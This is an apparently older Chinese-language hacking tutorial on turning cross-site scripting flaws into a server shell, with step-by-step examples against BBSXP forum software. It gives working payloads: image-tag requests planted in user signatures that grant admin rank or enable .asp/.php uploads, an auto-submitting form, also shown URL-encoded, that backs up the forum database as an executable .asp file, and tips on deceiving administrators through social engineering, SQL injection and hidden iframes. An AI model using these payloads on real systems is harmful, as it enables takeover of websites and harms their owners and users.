總體介紹:
對于XSS攻擊的總體思路
來自内部的攻擊:
如何尋找内部的XSS漏洞
如何構造攻擊
如何利用
結何實例攻擊,如DVBBS&BBSXP
來自外部的攻擊
如何構造XSS攻擊
如何欺騙管理員打開
XSS與其它技術的結何
與mssql injection的結合
QQ跨站的結何
國内大型統計網站的跨站漏洞
社會工程學
正文
XSS總體介紹
什麼是XSS攻擊
XSS屬于被動式的攻擊,因為其被動且不好利用,所以許多人常呼略其危害性。而本文主要講的是利用XSS得到目标服務器的shell。技術雖然是老技術,但是其思路希望對大家有幫助。
如何尋找XSS漏洞
就個人而言,我把XSS攻擊分成兩類,一類是來自内部的攻擊,主要指的是利用程序自身的漏洞,構造跨站語句,如:dvbbs的showerror.asp存在的跨站漏洞。另一類則是來來自外部的攻擊,主要指的自己構造XSS跨站漏洞網頁或者尋找非目标機以外的有跨站漏洞的網頁。如當我們要滲透一個站點,我們自己構造一個有跨站漏洞的網頁,然後構造跨站語句,通過結合其它技術,如社會工程學等,欺騙目标服務器的管理員打開。
然後利用下面的技術得到一個shell
如何利用
傳統的跨站利用方式一般都是攻擊者先構造一個跨站網頁,然後在另一空間裡放一個收集cookie的頁面,接着結合其它技術讓用戶打開跨站頁面以盜取用戶的cookie,以便進一步的攻擊。個人認為這種方式太過于落後,對于弊端大家可能都知道,因為即便你收集到了cookie你也未必能進一步滲透進去,多數的cookie裡面的密碼都是經過加密的,如果想要cookie欺騙的話,同樣也要受到其它的條件的限約。而本文提出的另一種思路,則從一定程度上解決上述的問題。對于個人而言,比較成熟的方法是通過跨站構造一個表單,表單的内容則為利用程序的備份功能或者加管理員等功能得到一個高權限。下面我将詳細的介紹這種技術。
來自内部的跨站攻擊
尋找跨站漏洞
如果有代碼的話比較好辦,我們主要看代碼裡對用戶輸入的地方和變量有沒有做長度和對”〈”,”〉”,”;”,”’”等字符是否做過濾。還有要注意的是對于标簽的閉合,像測試QQ群跨站漏洞的時候,你在标題處輸入〈script〉alert(‘test’)〈/script〉,代碼是不會被執行的,因為在源代碼裡,有其它的标簽未閉合,如少了一個〈/script〉,這個時候,你隻要閉合一個〈/script〉,代碼就會執行,如:你在标題處輸入〈/script〉〈script〉alert(‘test’)〈/script〉,這樣就可以彈出一個test的框。
如何利用
我先以BBSXP為例,過程已做成動畫,詳情可見光盤中的動畫。我舉BBSXP中其中兩個比較好用的跨站漏洞點為例.
a.先注冊一個普通用戶,我這裡注冊的用戶是linzi.然後我們在個人簽名裡寫入:
【img】http://127.0.0.1/bbsxp/admin_user.asp?menu=userok&;username=linzi&membercode=5&userlife=1&posttopic=3&money=9&postrevert=0&savemoney=0&deltopic=1®time=2005-9-1+1%3A1%3A1&experience=9&country=%D6%D0%B9%FA&&Submit=+%B8%FC+%D0%C2+【/img】
c.然後發個貼子,可以結合其它技術欺騙管理員浏覽發的貼子。
d.因為是測試,所以我們以管理員身份登陸,然後打開貼子,我們會發現,linzi已經變成了社區區長工,如圖一所示
除此之外我們隻要在個人簽名裡輸入
【img】http://127.0.0.1/bbsxp/admin_setup.asp?menu=variableok&;clubname=+&homename=+&homeurl=&floor=2&PostTime=3&Timeout=6&OnlineTime=12&Reg10=10&style=1&selectup=FSO&MaxFace=10240&MaxPhoto=30720&MaxFile=102400&UpFileGenre=gif|jpg|asp%20|rar【/img】
同樣發個貼子等,隻要管理員打開了,就會加了一個擴展名為asp (有空格)的上傳擴展,這個時候,你隻要上傳一個newmm.asp (有空格)就可以得到一個shell.
上面的攻擊多多少少有點局限性,雖然可以得到shell,但是隐蔽性不太好,因為簽名
處受到了長度的限制,不能超過255個字符。我們可以結合flash跨站實現更為隐蔽的
攻擊,對于flash木馬的制作,下面見哥們豐初的介紹。
再利用如下:
修改一下個人頭像的url,輸入代碼如下: admin_setup.asp?menu=variableok&clubname=+&homename=+&homeurl=&floor=2&PostTime=3&Timeout=6&OnlineTime=12&Reg10=10&style=1&selectup=FSO&MaxFace=10240&MaxPhoto=30720&MaxFile=102400&UpFileGenre=gif|jpg|php|rar
再接着欺騙管理員打開你的資料或者浏覽你的貼子,當管理員打開後,會在後台自動加個php擴展名的後辍,因為bbsxp在個人頭像url裡過濾了空格,%,所以我們隻能加個不包括空格的其它擴展,當然你也可以加個shtml的擴展,有了它你就可以用來查看源代碼,然後進一步攻擊。
來自外部的跨站攻擊
有的時候,當我們對于目标程序找不到可以利用的跨站點,這個時候我們可以利用可以從外部入手,利用我們要拿下的是它的論談,論談的安全性做的很好,但其留言闆卻存在跨站漏洞,這個時候我們可以在留言闆裡寫入跨站語句,跨站語句為以表單的方式向論談提交提升權限的語句,如上面的bbsxp加asp 擴展的語句。當然我們可利用後台的備份功能直接得到一個shell。
例:先上傳一個文件linzi.txt,内容如下:
〈body onload="javascript:document.forms【0】.submit()"〉〈form
action="http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" method="post"〉〈input value="database/bbsxp.mdb" name="yl" 〉〈input value="database/shit.asp" name="bf" 〉〈/body〉〈/html〉
上面的代碼是把論談的數據庫備份為shit.asp,留言闆存在跨站點如下:
http://127.0.0.1/bbsxp/page2.asp?username=
我們構造備份跨站語句如下:
http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E
或者構造跨站語句,利用iframe打開一個0大小的linzi.txt。
當管理員打開後,會自動備份得到一個shell.
XSS與其它技術的結何
從上面的實例,我們可以知道,如何欺騙管理打開是一個很重要的步驟,對于欺騙打開,除了社會工程學外,我們可以結合其它的技術,如sql injection.當我們滲透一個網站之時,主站mssql注入漏洞,權限為public,這個時候我們利用update構造跨站語句,如用iframe打開一個上面的備份得到shell的跨站語句等,同樣,我們可以在社會工程學時,利用QQ的其它跨站漏洞等等。
總是對于欺騙也是一門藝術,具體怎麼利用,大家就發揮自己的想象力吧!



















